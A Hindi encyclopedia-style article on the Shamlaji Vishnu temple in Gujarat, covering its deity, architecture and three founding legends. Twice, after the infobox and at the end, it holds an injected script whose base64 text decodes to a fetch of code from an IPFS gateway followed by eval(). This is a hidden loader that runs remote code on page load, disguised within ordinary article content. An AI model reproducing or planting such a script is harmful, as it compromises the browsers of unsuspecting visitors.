शामलाजी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
शामलाजी
शामलाजी का मंदिर
विवरण 'शामलाजी' गुजरात के प्रसिद्ध हिन्दू मंदिरों में से एक है, जो भगवान विष्णु को समर्पित है।
राज्य गुजरात
ज़िला साबरकांठा
निर्माणकाल माना जाता है कि मंदिर 500 वर्षों से मौजूद है।
देवता 'साक्षी गोपाल' या 'गदाधर' भगवान विष्‍णु का एक काला प्रस्‍तुतिकरण है, जिसे शामलाजी मंदिर में पूजा जाता है।
अन्य जानकारी मंदिर में गायों की मूर्तियों की भी पूजा की जाती है, जो विष्णु के अवतार श्रीकृष्ण के बचपन को गाये चराने वाले बालक के रूप में चित्रित करती हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शामलाजी गुजरात के साबरकांठा ज़िले में स्थित है। यह राज्य के प्रसिद्ध धार्मिक स्थलों में से एक है। शामलाजी का मंदिर भगवान विष्णु को समर्पित है। यह मंदिर मेशवो नदी के किनारे पर स्थित है। बिल्‍कुल सटी हुई घाटी से होकर मेशवो नदी, इसके चट्टानी आधार को प्रक्षालित करती है और हरी-भरी पहाड़ियों के बीच एक भव्‍य प्राकृतिक झील का जल, अत्‍यन्‍त सौंदर्यपूर्ण चमक बिखेरता है।

दुर्लभ मंदिर

'साक्षी गोपाल' या 'गदाधर' भगवान विष्‍णु का एक काला प्रस्‍तुतिकरण है, जिसे शामलाजी मंदिर में पूजा जाता है। यह श्रीकृष्ण के दुर्लभ मंदिरों में से एक है। यहाँ गायों की मूर्तियों की भी पूजा की जाती है, जो उनके बचपन को गाये चराने वाले बालक के रूप में चित्रित करती हैं। वैष्णव सम्प्रदाय के लिए शामलाजी भारत में 154 सबसे महत्‍त्‍वपूर्ण स्‍थलों में से एक है।[1]

स्थापत्य कला

माना जाता है कि यह मंदिर कम से कम 500 वर्षों से मौजूद है। सफ़ेद बलुआ पत्‍थर और ईंटों से बने इस मंदिर में दो मंजिल हैं, जो खम्‍बों की कतारों पर टिकी हैं। इस पर उत्‍कृष्‍ट नक़्क़ाशी की गई है और 'रामायण' तथा 'महाभारत' जैसे धार्मिक महाकाव्यों से लिए गए प्रसंगों को बाहरी दीवारों पर उत्कीर्ण किया गया है। इसकी सुंदर गुम्‍बदनुमा छत और मुख्‍य मंदिर के ऊपर पारंपरिक उत्‍तर भारतीय शिखर, इसके खुले प्रांगण की भव्‍यता बढ़ाते हैं, जिसके साथ एक वास्‍तविक हाथी के आकार की मूर्ति तराशी गई है।

कथाएँ

शामलाजी के मंदिर के निर्माण से जुड़ी तीन अत्‍यन्‍त रोचक कथाएँ हैं, जो इस प्रकार हैं[1]-

  1. प्रथम कथा के अनुसार, ब्राह्मणों ने एक बार पृथ्वी पर स्थित सर्वश्रेष्‍ठ तीर्थ खोजने के लिए यात्रा शुरू की। अनेक स्‍थानों का भ्रमण करने के बाद वे शामलाजी आए, जिसे उन्‍होंने अत्‍यधिक पसंद किया और यहां उन्‍होंने एक हज़ार वर्ष तक तपस्‍या की। इस तपस्‍या से प्रसन्‍न होकर भगवान शिव ने उन्‍हें यहां एक यज्ञ करने का आदेश किया। यज्ञ के आरंभ में भगवान विष्णु ने यहां स्‍वयं को शामलाजी के रूप में प्रतिष्ठित किया।
  2. द्वितीय कथा यह है कि देवताओं के वास्‍तुकार विश्वकर्मा ने इस मंदिर का निर्माण मात्र एक रात्रि में ही किया, लेकिन इसे पूरा करते हुए सुबह हो गई और वे इसे अपने साथ नहीं ले जा सके, जिससे यह यहीं स्‍थापित हो गया।
  3. तृतीय कथा के अनुसार, एक आदिवासी ने अपने खेत की जोताई करते समय शामलाजी की मूर्ति प्राप्‍त की। वह रोज एक दीपक जलाकर इसकी पूजा करता था और इसके वरदान स्‍वरूप उसके खेतों में भरपूर फ़सल उपजती थी। इसे जानकर एक वैष्‍णव सौदागर ने मंदिर बनवाया और मूर्ति को वहां प्रतिष्ठित किया, जिसका बाद में ईदार शासकों द्वारा सौंदर्यीकरण कराया गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 शामलाजी (हिन्दी) आधिकारिक बेवसाइट गुजरात पर्यटन। अभिगमन तिथि: 01 अगस्त, 2014।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>